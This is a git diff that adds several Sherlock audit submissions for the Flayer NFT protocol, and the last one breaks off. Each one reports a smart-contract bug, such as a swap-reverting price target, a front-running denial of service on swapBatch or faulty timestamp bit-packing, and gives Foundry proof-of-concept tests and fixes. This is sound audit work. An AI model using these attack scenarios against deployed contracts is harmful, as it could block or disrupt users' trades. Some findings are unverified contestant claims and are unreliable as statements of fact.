+ uint160 sqrtPriceLimitX96;
+}
+```
+When a swap happens in a Uniswap pool, in [`Pool::swap`](https://github.com/Uniswap/v4-core/blob/main/src/libraries/Pool.sol#L279-L460) the swap calculation happens by calling `SwapMath.computeSwapStep`, where the input price limit is translated to a price target using `SwapMath.getSqrtPriceTarget`. Knowing that the price target represents the "The price target for the next swap step"
+https://github.com/Uniswap/v4-core/blob/main/src/libraries/SwapMath.sol#L19
+
+On the other hand, when the internal swap is done in the Uniswap implementation, `SwapMath.computeSwapStep` is called while passing the price limit as the price target.
+
+```solidity
+(, ethIn, tokenOut, ) = SwapMath.computeSwapStep({
+ sqrtPriceCurrentX96: sqrtPriceX96,
+ sqrtPriceTargetX96: params.sqrtPriceLimitX96,
+ liquidity: poolManager.getLiquidity(poolId),
+ amountRemaining: int(amountSpecified),
+ feePips: 0
+});
+```
+
+This affects the in/out token calculation, as it will calculate those values based on a wrong target, forcing swap TXs to unexpectedly revert.
+
+### Root Cause
+
+When calculating internal swaps, the input price limit is used as the price range for the swap calculation, [here](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L522) and [here](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L537).
+
+### Impact
+
+Swap transactions will revert in most cases; DOSing swaps.
+
+### PoC
+
+Add the following test in `flayer/test/UniswapImplementation.t.sol`:
+
+```solidity
+function test_WrongPriceTargetUsed() public withLiquidity withTokens {
+ bool flipped = false;
+ PoolKey memory poolKey = _poolKey(flipped);
+ CollectionToken token = flipped ? flippedToken : unflippedToken;
+ ERC721Mock nft = flipped ? flippedErc : unflippedErc;
+
+ uint256 fees = 10 ether;
+ deal(address(token), address(this), fees);
+ token.approve(address(uniswapImplementation), type(uint).max);
+ uniswapImplementation.depositFees(address(nft), 0, fees);
+
+ // token0 = WETH, token1 = token
+ assertEq(address(Currency.unwrap(poolKey.currency0)), address(WETH));
+ assertEq(address(Currency.unwrap(poolKey.currency1)), address(token));
+
+ // amount of token out to receive
+ uint amountSpecified = 15 ether;
+
+ // Uniswap implementation + pool manager have enough tokens to fulfill the swap
+ assertGt(
+ token.balanceOf(address(uniswapImplementation)) +
+ token.balanceOf(address(uniswapImplementation.poolManager())),
+ amountSpecified
+ );
+ // This contract has more than enough WETH to fulfill the swap
+ assertEq(WETH.balanceOf(address(this)), 1000 ether);
+
+ // Swap WETH -> TOKEN
+ vm.expectRevert();
+ poolSwap.swap(
+ poolKey,
+ IPoolManager.SwapParams({
+ zeroForOne: true,
+ amountSpecified: int(amountSpecified),
+ sqrtPriceLimitX96: TickMath.MIN_SQRT_PRICE + 1
+ }),
+ PoolSwapTest.TestSettings({
+ takeClaims: false,
+ settleUsingBurn: false
+ }),
+ ""
+ );
+}
+```
+
+### Mitigation
+
+In `UniswapImplementation::beforeSwap`, whenever the internal swap is being computed, i.e. by calling `SwapMath.computeSwapStep`, translate the passed price limit to price range, using `SwapMath.getSqrtPriceTarget`, by doing something similar to:
+```solidity
+(, ethIn, tokenOut, ) = SwapMath.computeSwapStep({
+ sqrtPriceCurrentX96: sqrtPriceX96,
+ sqrtPriceTargetX96: SwapMath.getSqrtPriceTarget(zeroForOne, step.sqrtPriceNextX96, params.sqrtPriceLimitX96),
+ liquidity: poolManager.getLiquidity(poolId),
+ amountRemaining: int(amountSpecified),
+ feePips: 0
+});
+```
\ No newline at end of file
diff --git a/413.md b/413.md
new file mode 100644
index 0000000..2c3f6e8
--- /dev/null
+++ b/413.md
@@ -0,0 +1,23 @@
+Perfect Mint Worm
+
+Medium
+
+# Lack of CryptoPunks Support on ƒlayer Limits Market Potential and Integration with ERC721 Protocol
+
+## Summary
+**CryptoPunks** was one of the first non-fungible token projects and has since paved the way for other successful **NFT** collections such as CryptoKitties, Bored Ape Yacht Club, and **CrypToadz**.
+ƒlayer, which enables Liquid Listings, cannot support **CryptoPunks**, which reduces their overall market potential.
+## Vulnerability Detail
+CryptoPunks collections that do not support the `transferFrom()` function can present risks that users with CryptoPunks cannot use this protocol.
+
+Here is an example [implementation](https://github.com/code-423n4/2021-12-nftx/blob/main/nftx-protocol-v2/contracts/solidity/NFTXStakingZap.sol#L417-L424) of what it might look like to integrate cryptopunks into the Foundation protocol.
+## Impact
+Cryptopunks are at the core of the `NFT` ecosystem. As one of the first NFTs, it embodies the culture of NFT marketplaces. By not supporting the trading of `cryptopunks`, Foundation is at a severe disadvantage when compared to other marketplaces. Cryptopunks have their internal marketplace which allows users to trade their `NFTs` to other users. As such, cryptopunks do not adhere to the `ERC721` standard, it will always fail when the protocol attempts to trade them.
+## Code Snippet
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Consider designing a wrapper contract for `cryptopunks` to facilitate standard ERC721 transfers. The logic should be abstracted away from the user such that their user experience is not impacted.
\ No newline at end of file
diff --git a/415.md b/415.md
new file mode 100644
index 0000000..2a2d9ce
--- /dev/null
+++ b/415.md
@@ -0,0 +1,61 @@
+Shiny Mint Lion
+
+Medium
+
+# ERC721/1155 on L2 cannot modify the token information.
+
+
+## Summary
+ERC721/1155 on L2 cannot modify the token information.
+
+## Vulnerability Detail
+
+ERC721Bridgable/ERC1155Bridgable inherited ERC2981, but does not implement ERC2981 internal functions, such as `_setTokenRoyalty`,
+
+https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/common/ERC2981.sol
+
+`RoyaltyInfo` is set only during `initialization`, the parameter is obtained from L1:
+
+```solidity
+ function _thresholdCross721(Package memory package, address recipient) internal returns (address l2CollectionAddress) {
+ ERC721Bridgable l2Collection721;
+
+ address l1CollectionAddress = package.collectionAddress;
+ l2CollectionAddress = l2AddressForL1Collection(l1CollectionAddress, false);
+
+ // If not yet deployed, deploy the L2 collection and set name/symbol/royalty
+ if (!isDeployedOnL2(l1CollectionAddress, false)) {
+ Clones.cloneDeterministic(ERC721_BRIDGABLE_IMPLEMENTATION, bytes32(bytes20(l1CollectionAddress)));
+
+ // Check if we have an ERC721 or an ERC1155
+ l2Collection721 = ERC721Bridgable(l2CollectionAddress);
+@> l2Collection721.initialize(package.name, package.symbol, package.royaltyBps, package.chainId, l1CollectionAddress);
+
+ // Set the reverse mapping
+ l1AddressForL2Collection[l2CollectionAddress] = l1CollectionAddress;
+ }
+ // Otherwise, our collection already exists and we can reference it directly
+ else {
+ l2Collection721 = ERC721Bridgable(l2CollectionAddress);
+ }
+ .....
+ }
+```
+
+The problem is that if the information in the ERC721 contract in L1 is changed, for example, `royaltyBps` is modified, the contract on L2 cannot be modified, and the old parameters are still used on L2.
+
+## Impact
+ERC721/1155 is modified by the owner on L1, but cannot be modified on L2.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftAbove.sol#L284-L292
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftBelow.sol#L241-L247
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+ERC721Bridgable/ERC1155Bridgable add function that allows administrators to modify ERC721 the information in their contract.
\ No newline at end of file
diff --git a/416.md b/416.md
new file mode 100644
index 0000000..040ca00
--- /dev/null
+++ b/416.md
@@ -0,0 +1,57 @@
+Shiny Mint Lion
+
+Medium
+
+# If messages are received from multiple L1s, address conflicts occur.
+
+
+## Summary
+If messages are received from multiple L1s, address conflicts occur.
+
+## Vulnerability Detail
+
+When L2 receives a message from L1, if the contract corresponding to l1 does not exist, it clones `l2CollectionAddress` according to `l1CollectionAddress`:
+
+```solidity
+ function _thresholdCross721(Package memory package, address recipient) internal returns (address l2CollectionAddress) {
+ ERC721Bridgable l2Collection721;
+
+ address l1CollectionAddress = package.collectionAddress;
+ l2CollectionAddress = l2AddressForL1Collection(l1CollectionAddress, false);
+
+ // If not yet deployed, deploy the L2 collection and set name/symbol/royalty
+ if (!isDeployedOnL2(l1CollectionAddress, false)) {
+ Clones.cloneDeterministic(ERC721_BRIDGABLE_IMPLEMENTATION, bytes32(bytes20(l1CollectionAddress)));
+
+ // Check if we have an ERC721 or an ERC1155
+ l2Collection721 = ERC721Bridgable(l2CollectionAddress);
+@> l2Collection721.initialize(package.name, package.symbol, package.royaltyBps, package.chainId, l1CollectionAddress);
+
+ // Set the reverse mapping
+ l1AddressForL2Collection[l2CollectionAddress] = l1CollectionAddress;
+ }
+ ......
+ }
+```
+
+Messages from L1 to L2 contain chainId(package.chainId), if multiple L1s send messages to L2, a conflict will occur on L2 if the `l1CollectionAddress` is the same.
+
+The same ERC721 may use the same address on different L1s because they can all be deployed with the same developer's private key, and some projects may use the same address for ease of administration.
+
+Different chainids should generate different `l2Collectionaddresses` on L2 to avoid address conflicts.
+
+## Impact
+Address conflict
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftBelow.sol#L241-L250
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+```solidity
+- Clones.cloneDeterministic(ERC721_BRIDGABLE_IMPLEMENTATION, bytes32(bytes20(l1CollectionAddress)));
++ Clones.cloneDeterministic(ERC721_BRIDGABLE_IMPLEMENTATION, bytes32(bytes20(l1CollectionAddress) + package.chainId));
+```
diff --git a/418.md b/418.md
new file mode 100644
index 0000000..4b43fbf
--- /dev/null
+++ b/418.md
@@ -0,0 +1,77 @@
+Flaky Taupe Platypus
+
+Medium
+
+# Tokens will be stuck due to blacklist logic in some tokens.
+
+## Summary
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/TokenEscrow.sol#L49-L70
+
+## Vulnerability Detail
+The provided function does not include a check to ensure that the user is not blacklisted before proceeding with the withdrawal.
+Tokens suck as USDT implements a logic the check if the address is blacklisted and several tokens implement this logic
+the issue is that if the user is blacklisted he will not be able to withdraw his token and token will be stuck for ever.
+
+the issue occurs because the withdraw function uses msg.sender to send tokens `SafeTransferLib.safeTransfer(_token, msg.sender, _amount);`
+but to avoid this issue just add parameter eg: recipient where user wants to withdraw his funds.
+
+POC:
+```solidity
+function withdraw(address _token, uint256 _amount) public {
+ // Ensure that we are withdrawing an amount
+ if (_amount == 0) revert CannotWithdrawZeroAmount();
+
+ // Get the amount of token that is stored in escrow
+ uint256 available = balances[msg.sender][_token];
+ if (available < _amount) revert InsufficientBalanceAvailable();
+
+ // Reset our user's balance to prevent reentry
+ unchecked {
+ balances[msg.sender][_token] = available - _amount;
+ }
+
+ // Handle a withdraw of ETH
+ if (_token == NATIVE_TOKEN) {
+ SafeTransferLib.safeTransferETH(msg.sender, _amount);
+ } else {
+@>>> SafeTransferLib.safeTransfer(_token, msg.sender, _amount);
+ }
+
+ emit Withdrawal(msg.sender, _token, _amount);
+}
+```
+
+## Impact
+user can lose his funds for ever if his is blacklisted.
+
+## Recommendation
+
+```diff
+- function withdraw(address _token, uint256 _amount) public {
++ function withdraw(address _token, uint256 _amount, address recipient) public {
+ // Ensure that we are withdrawing an amount
+ if (_amount == 0) revert CannotWithdrawZeroAmount();
+
+ // Get the amount of token that is stored in escrow
+ uint256 available = balances[msg.sender][_token];
+ if (available < _amount) revert InsufficientBalanceAvailable();
+
+ // Reset our user's balance to prevent reentry
+ unchecked {
+ balances[msg.sender][_token] = available - _amount;
+ }
+
+ // Handle a withdraw of ETH
+ if (_token == NATIVE_TOKEN) {
+- SafeTransferLib.safeTransferETH(msg.sender, _amount);
++ SafeTransferLib.safeTransferETH(recipient, _amount);
+ } else {
+- SafeTransferLib.safeTransfer(_token, msg.sender, _amount);
++ SafeTransferLib.safeTransfer(_token, recipient, _amount);
+ }
+
+ emit Withdrawal(msg.sender, _token, _amount);
+}
+```
+
diff --git a/419.md b/419.md
new file mode 100644
index 0000000..3eb1c4c
--- /dev/null
+++ b/419.md
@@ -0,0 +1,59 @@
+Flaky Taupe Platypus
+
+High
+
+# Malicious user can dos swap/swapBatch function and prevent users from swapping.
+
+## Summary
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L241-L287
+
+A malicious user can DOS [swap](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L241-L255) and [swapBatch](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L268-L287) functions by front-running the last token in the batch, preventing other users from executing swaps or batch swaps.
+This issue can occur due to the low transaction fees on the Base chain, making front-running attacks more easy.
+
+## Vulnerability Detail
+
+the issue is that any one can make `swapBatch` function reverts this is because of the low Tx fee on Base chain so any one can make swap batch revert, he can cause revert to 100 `swapBatch` call only with 5$ for example, just by front-run the Tx and swap token with a token userX wants to swap.
+
+lets see this scenario:
+1) Alice wants to swap token_(1, 2, 3, 4, 5) with token_(6, 7, 8, 9, 10)
+2) Bob sees this Tx and he front-run Alice Tx and he swap his Token_20 with Token_10
+3) Alice Tx executes `swapBatch` and the loop swap Tokens when it comes to Token_10
+ Tx will revert because the Locker.sol doesn't Own this token anymore, its owned by Bob.
+4) Bob will keep abusing the protocol and prevent users from swap/swapBatch tokens.
+
+POC:
+```solidity
+function swapBatch(address _collection, uint256[] calldata _tokenIdsIn, uint256[] calldata _tokenIdsOut)
+ public nonReentrant whenNotPaused collectionExists(_collection)
+{
+ uint256 tokenIdsInLength = _tokenIdsIn.length;
+ if (tokenIdsInLength != _tokenIdsOut.length) revert TokenIdsLengthMismatch();
+
+ // Cache our collection
+ IERC721 collection = IERC721(_collection);
+
+ for (uint256 i; i < tokenIdsInLength; ++i) {
+ // Ensure that the token requested is not a listing
+ if (isListing(_collection, _tokenIdsOut[i])) revert TokenIsListing(_tokenIdsOut[i]);
+
+ // Transfer the users token into the contract
+ collection.transferFrom(msg.sender, address(this), _tokenIdsIn[i]);
+
+ // Transfer the collection token from the caller.
+@>>> // because token_10 is not Owned by Locker it cannot send token_10
+@>>> // so it will revert.
+@>>> collection.transferFrom(address(this), msg.sender, _tokenIdsOut[i]);
+ }
+
+ emit TokenSwapBatch(_collection, _tokenIdsIn, _tokenIdsOut, msg.sender);
+}
+```
+
+## Impact
+
+The impact is high because it causes DOS on swap and swapBatch bad user can make them useless and cannot be executed.
+
+## Recommendation
+
+The developers knows better how to fix this issue so it up to them to implement right logic.
\ No newline at end of file
diff --git a/420.md b/420.md
new file mode 100644
index 0000000..9bcd56c
--- /dev/null
+++ b/420.md
@@ -0,0 +1,43 @@
+Clean Snowy Mustang
+
+Medium
+
+# LinearRangeCurve cannot be used as bonding curve when creates Sudoswap pool
+
+## Summary
+
+[LinearRangeCurve](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/lib/LinearRangeCurve.sol#L17C10-L17C26) cannot be used as bonding curve when creates Sudoswap pool.
+
+## Vulnerability Detail
+
+When collection shutdown is executed, a Sudoswap pool is created to liquidate an array of tokenIds from the specified collection.
+
+[CollectionShutdown.sol#L262-L263](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L262-L263):
+```solidity
+ // Map our collection to a newly created pair
+ address pool = _createSudoswapPool(collection, _tokenIds);
+```
+
+When creating the pool, a bonding curve for the pair to price NFTs should be specified, `LinearRangeCurve` is expected to be used as the bonding curve, however, Sudoswap only allows whitelisted curve contract to be used, as mentioned in the [Doc](https://docs.sudoswap.xyz/reference/pricing/):
+> sudoswap V2 currently has four whitelisted bonding curves.
+
+And in the deployed [LSSVMPairFactory](https://basescan.org/address/0x605145D263482684590f630E9e581B21E4938eb8#code#F1#L127) contract:
+```solidity
+ * @param _bondingCurve The bonding curve for the pair to price NFTs, must be whitelisted
+```
+
+## Impact
+
+Transaction will revert when create Sudoswap pool.
+
+## Code Snippet
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L482
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Refactor to use the whitelisted bonding curve contracts.
\ No newline at end of file
diff --git a/422.md b/422.md
new file mode 100644
index 0000000..65752d9
--- /dev/null
+++ b/422.md
@@ -0,0 +1,179 @@
+Powerful Indigo Mole
+
+High
+
+# Incorrect bit shifting in `CollectionShutdown::_createSudoswapPool` will lead to wrong critical information and unintended behavior
+
+## Summary
+In [CollectionShutdown](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol) when quorum is reached the function [execute](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L231) is called. After approving SudoSwap pair to use the protocol's NFT the function attempts to create pool via [_creadeSudoswapPool](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L478).
+
+The `_createSudoswapPool` have to create Sudoswap pool and it looks like this:
+
+```js
+ function _createSudoswapPool(IERC721 _collection, uint[] calldata _tokenIds) internal returns (address) {
+ return address(
+ pairFactory.createPairERC721ETH({
+ _nft: _collection,
+ _bondingCurve: curve,
+ _assetRecipient: payable(address(this)),
+ _poolType: ILSSVMPair.PoolType.NFT,
+ _delta: uint128(block.timestamp) << 96 | uint128(block.timestamp + 7 days) << 64,
+ _fee: 0,
+ _spotPrice: 500 ether,
+ _propertyChecker: address(0),
+ _initialNFTIDs: _tokenIds
+ })
+ );
+ }
+```
+The function calls the [createPairERC721ETH](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/interfaces/lssvm2/ILSSVMPairFactoryLike.sol#L16) with the input params above.
+## Vulnerability Detail
+The `_delta` in `createPairERC721ETH` expect input param to be in `uint128`. The above packing and shifting operation results in a value that give undesired results. This could lead to incorrect data being passed to other contract functions that rely on the full packed value.
+The higher bits of the packed timestamp are shifted wrongly, which will result in incorrect or incomplete timestamp data.
+Functions that rely on _delta for time-sensitive logic (shutting down collection and auction on Sudoswap) will not work as expected due to the incorrectly packed information.
+
+PoC:
+1. `uint128(block.timestamp) << 96`
+`block.timestamp`: the `block.timestamp` is a Unix timestamp, which requires approximately 31 bits in practice.
+Bit Shift (<< 96): This shifts the value left by 96 bits.
+After this shift, the value will occupy the topmost 32 bits of a uint128 (because 128 - 96 = 32), and the lower 96 bits will be zeroed out.
+
+Result: The final value will take up the top 32 bits of the uint128, and the rest (lower 96 bits) will be zeros.
+
+2. `uint128(block.timestamp + 7 days) << 64`
+block.timestamp + 7 days: representing a date 7 days into the future. It requires also about 31 bits in practice.
+Bit Shift (<< 64): This shifts the value left by 64 bits.
+After this shift, the value will occupy the upper 64 bits of a uint128, and the lower 64 bits will be zeroed out.
+
+Result: The final value will take up the upper 64 bits of the uint128, and the lower 64 bits will be zeros.
+
+In both cases, because of the shifts, the timestamp data is placed in the upper bits of the uint128, leaving the lower bits as zeros. Here's a simplified view of the bit allocations:
+
+uint128(block.timestamp) << 96: occupies the top 32 bits.
+
+uint128(block.timestamp + 7 days) << 64: occupies the upper 64 bits.
+
+Both of these shifts place the timestamp data in high bits of the uint128. However, given that uint128 is only 128 bits wide, when you try to combine both values (such as through a bitwise OR), the second value will be give unexpectedly large result making this an invalid packing approach.
+
+To test this first create contract `TimestampPackingPoC.sol` in `flayer/src/contracts` and copy the following code:
+```js
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.22;
+
+contract TimestampPackingPoC {
+ uint128 public originalTimestamp;
+ uint128 public futureTimestamp;
+ uint128 public packedValue;
+
+ function packTimestamps() external {
+ // Example timestamps
+ originalTimestamp = uint128(block.timestamp);
+ futureTimestamp = uint128(block.timestamp + 7 days);
+
+ // Shift and pack into 128 bits
+ uint128 shiftedOriginal = originalTimestamp << 96;
+ uint128 shiftedFuture = futureTimestamp << 64;
+
+ // Combine the values with a bitwise OR
+ packedValue = shiftedOriginal | shiftedFuture;
+ }
+
+ function unpackTimestamps() external view returns (uint128 unpackedOriginal, uint128 unpackedFuture) {
+ // Unpack the original and future timestamps from the packed value
+ unpackedOriginal = packedValue >> 96;
+ unpackedFuture = (packedValue >> 64) & 0xFFFFFFFFFFFFFFFF;
+ }
+}
+```
+Then create `TimestampPackingPoCTest.t.sol` in `flayer/src/test` and copy the following code:
+```js
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.22;
+
+import "forge-std/Test.sol";
+import "forge-std/console.sol";
+import "@flayer/TimestampPackingPoC.sol";
+
+contract TimestampPackingPoCTest is Test {
+ TimestampPackingPoC public timestampPackingPoC;
+
+ function setUp() public {
+ timestampPackingPoC = new TimestampPackingPoC();
+ }
+
+ function test_PackingAndTruncation() public {
+ // Call the packTimestamps function
+ timestampPackingPoC.packTimestamps();
+
+ // Get the packed value
+ uint128 packedValue = timestampPackingPoC.packedValue();
+ console.log("Packed Value:", packedValue);
+
+ // Unpack the values
+ (uint128 unpackedOriginal, uint128 unpackedFuture) = timestampPackingPoC.unpackTimestamps();
+ console.log("Unpacked Original Timestamp:", unpackedOriginal);
+ console.log("Unpacked Future Timestamp:", unpackedFuture);
+
+ // Get the original timestamps from the contract
+ uint128 originalTimestamp = timestampPackingPoC.originalTimestamp();
+ uint128 futureTimestamp = timestampPackingPoC.futureTimestamp();
+ console.log("Original Timestamp:", originalTimestamp);
+ console.log("Future Timestamp (7 days later):", futureTimestamp);
+ }
+}
+```
+Run this command:
+```terminal
+forge test --mt test_PackingAndTruncation -vvv
+```
+
+The test will pass and the following values are:
+```terminal
+Ran 1 test for test/TimestampPackingPoCTest.t.sol:TimestampPackingPoCTest
+[PASS] test_PackingAndTruncation() (gas: 59631)
+Logs:
+ Packed Value: 79239319123526861204070858752
+ Unpacked Original Timestamp: 1
+ Unpacked Future Timestamp: 4295572097
+ Original Timestamp: 1
+ Future Timestamp (7 days later): 604801
+```
+The 1 is not a realistic timestamp for a real world but for a test we can start time from the beginning to understand results better.
+The Unpacked Future Timestamp is much larger and represents a value that does not align with the original expected future timestamp. This indicates that the bit shifts and overlap caused incorrect unpacking.
+
+
+`4295572097s = 49,717.27 days.`
+`604801s = 7 days`
+
+## Impact
+Incorrect shifting bits could lead to loss of a critical information, which could lead to unintended behavior (auction time to be way more than it should (over 100+ years)) or to auction not be able to created at all.
+## Code Snippet
+[CollectionShutdown.sol#L485](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L485)
+## Tool used
+
+Manual Review
+
+## Recommendation
+One solution is to shift bits by the following amount to keep both values correct:
+```diff
+ function _createSudoswapPool(IERC721 _collection, uint[] calldata _tokenIds) internal returns (address) {
+ return address(
+ pairFactory.createPairERC721ETH({ // qanswered check this func and input params
+ _nft: _collection,
+ _bondingCurve: curve,
+ _assetRecipient: payable(address(this)),
+ _poolType: ILSSVMPair.PoolType.NFT,
+- _delta: uint128(block.timestamp) << 96 | uint128(block.timestamp + 7 days) << 64,
++ _delta: uint128(block.timestamp) << 96 | uint128(block.timestamp + 7 days) << 32,
+ _fee: 0,
+ _spotPrice: 500 ether,
+ _propertyChecker: address(0),
+ _initialNFTIDs: _tokenIds
+ })
+ );
+ }
+```
+or
+
+Change packing and shifting in `_delta` to fit correctly with SudoSwap bonding curve and desired auction style so it does not lose important data.
+More info about `_delta` and bonding curves you can find in their docs [here](https://docs.sudoswap.xyz/reference/pricing/).
\ No newline at end of file
diff --git a/426.md b/426.md
new file mode 100644
index 0000000..c387fd0
--- /dev/null
+++ b/426.md
@@ -0,0 +1,63 @@
+Rough Azure Scallop
+
+Medium
+
+# Incorrect Hook Function Signatures Break Uniswap V4 Integration
+
+### Summary
+
+The incorrect function signatures in UniswapImplementation.sol will cause integration failures for the contract as Uniswap V4 will not be able to call the afterAddLiquidity and afterRemoveLiquidity hooks with the expected parameters.
+
+### Root Cause
+
+In `UniswapImplementation.sol` the function signatures for `afterAddLiquidity` and `afterRemoveLiquidity` do not match the interface defined in https://github.com/Uniswap/v4-core/blob/main/src/interfaces/IHooks.sol#L63-L70 and https://github.com/Uniswap/v4-core/blob/main/src/interfaces/IHooks.sol#L94-L101
+
+### Internal pre-conditions
+
+1. UniswapImplementation contract needs to be deployed with the incorrect function signatures.
+
+### External pre-conditions
+
+1. Uniswap V4 core contracts need to be deployed and operational.
+
+### Attack Path
+
+1. **User calls `addLiquidity` on Uniswap V4 PoolManager**
+2. **PoolManager attempts to call `afterAddLiquidity` on UniswapImplementation**
+3. **The call fails due to function signature mismatch**
+4. **The liquidity addition transaction reverts**
+
+### Impact
+
+The UniswapImplementation contract cannot integrate properly with Uniswap V4. Users cannot add or remove liquidity using this implementation, leading to an inability to use the intended functionality of the contract.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Update the function signatures in UniswapImplementation.sol to match those defined in the IHooks interface:
+```solidity
+function afterAddLiquidity(
+ address sender,
+ PoolKey calldata key,
+ IPoolManager.ModifyLiquidityParams calldata params,
+ BalanceDelta delta,
+ BalanceDelta feesAccrued,
+ bytes calldata hookData
+) public override onlyByPoolManager returns (bytes4, BalanceDelta) {
+ // Update implementation
+}
+
+function afterRemoveLiquidity(
+ address sender,
+ PoolKey calldata key,
+ IPoolManager.ModifyLiquidityParams calldata params,
+ BalanceDelta delta,
+ BalanceDelta feesAccrued,
+ bytes calldata hookData
+) public override onlyByPoolManager returns (bytes4, BalanceDelta) {
+ // Update implementation
+}
+```
\ No newline at end of file
diff --git a/430.md b/430.md
new file mode 100644
index 0000000..b6407d3
--- /dev/null
+++ b/430.md
@@ -0,0 +1,51 @@
+Clean Snowy Mustang
+
+Medium
+
+# royaltyBps may not be properly retrieved for ERC1155 collections
+
+## Summary
+royaltyBps may not be properly retrieved for ERC1155 collections.
+
+## Vulnerability Detail
+
+When sends a ERC1155 token from the L1 chain to L2, protocol will retrieve then ERC1155 collection's `royaltyBps`.
+
+[InfernalRiftAbove.sol#L171-L181](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftAbove.sol#L171-L181):
+```solidity
+ // Set up payload
+ package[i] = Package({
+ chainId: block.chainid,
+ collectionAddress: collectionAddress,
+ ids: params.idsToCross[i],
+ amounts: params.amountsToCross[i],
+ uris: uris,
+@> royaltyBps: _getCollectionRoyalty(collectionAddress, params.idsToCross[i][0]),
+ name: '',
+ symbol: ''
+ });
+```
+
+As can be seen from above, protocol gets the royalty amount assigned to ERC1155 collection based on the first token ID (0). This is improperly, a ERC1155 may include a combination of fungible tokens and non-fungible tokens, if the token id 0 points to a fungible token, then no `royaltyBps` will always be 0.
+
+## Impact
+
+When a ERC1155 collection is sent to L2, `royaltyBps` may not set as it is in L1, and the legitimate receiver won't be able to receive royalty fees as expected.
+
+## Code Snippet
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftAbove.sol#L178
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Refactor to allow user to specify the token id used to retrieve `royaltyBps`.
+
+[InfernalRiftAbove.sol#L137](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftAbove.sol#L137):
+```diff
+- function crossTheThreshold1155(ThresholdCrossParams memory params) external payable {
++ function crossTheThreshold1155(ThresholdCrossParams memory params, uint royaltyTokenId) external payable {
+```
\ No newline at end of file
diff --git a/435.md b/435.md
new file mode 100644
index 0000000..e6646a8
--- /dev/null
+++ b/435.md
@@ -0,0 +1,48 @@
+Shiny Mint Lion
+
+Medium
+
+# Setting a new ProtectedListings contract address via setProtectedListings() can cause issues.
+
+## Summary
+Setting a new ProtectedListings contract address via setProtectedListings() can cause issues.
+## Vulnerability Detail
+```javascript
+ function setProtectedListings(address _protectedListings) public onlyOwner {
+@>> protectedListings = IProtectedListings(_protectedListings);
+ emit ProtectedListingsContractUpdated(_protectedListings);
+ }
+```
+The Listings contract has a setProtectedListings() function used to set a new protectedListings. The issue lies in the fact that the current protectedListings contract does not have a pause function or any related functionality to stop its use. Setting a new protectedListings will cause several serious problems, such as:
+
+ 1. Orders on the old protectedListings can still be processed through Locker::redeem() or Locker::swap().
+ 2. It affects the interest calculation on the new protectedListings because the utilizationRate() function calculates based on the number of orders in the current contract. Orders on the old protectedListings will cause the totalSupply to increase.
+```javascript
+ function utilizationRate(address _collection) public view virtual returns (uint listingsOfType_, uint utilizationRate_) {
+ // Get the count of active listings of the specified listing type
+@>> listingsOfType_ = listingCount[_collection];
+
+ // If we have listings of this type then we need to calculate the percentage, otherwise
+ // we will just return a zero percent value.
+ if (listingsOfType_ != 0) {
+ ICollectionToken collectionToken = locker.collectionToken(_collection);
+
+ // If we have no totalSupply, then we have a zero percent utilization
+ uint totalSupply = collectionToken.totalSupply();
+ if (totalSupply != 0) {
+@>> utilizationRate_ = (listingsOfType_ * 1e36 * 10 ** collectionToken.denomination()) / totalSupply;
+ }
+ }
+ }
+```
+Therefore, setting a new ProtectedListings should not be allowed, or a pause or deprecation function should be added to the ProtectedListings contract. After ensuring there are no pending orders in the old ProtectedListings, the contract should be paused before setting a new one.
+## Impact
+It could result in the loss of users’ NFTs and may also affect the interest rates on protectedListings.
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L989
+## Tool used
+
+Manual Review
+
+## Recommendation
+Remove the setProtectedListings() function or add a pause or deprecation function in the ProtectedListings contract code.
\ No newline at end of file
diff --git a/439.md b/439.md
new file mode 100644
index 0000000..6a9b2eb
--- /dev/null
+++ b/439.md
@@ -0,0 +1,58 @@
+Amateur Cornflower Fish
+
+Medium
+
+# Reserve does not work as intended
+
+## Summary
+In the whitepaper, reservations are described as user putting up collateral and paying an interest rate. In the code, the user is required to pay the margin to the old listing owner before resrving it, contradicting with the intended purpose of the funciton.
+## Vulnerability Detail
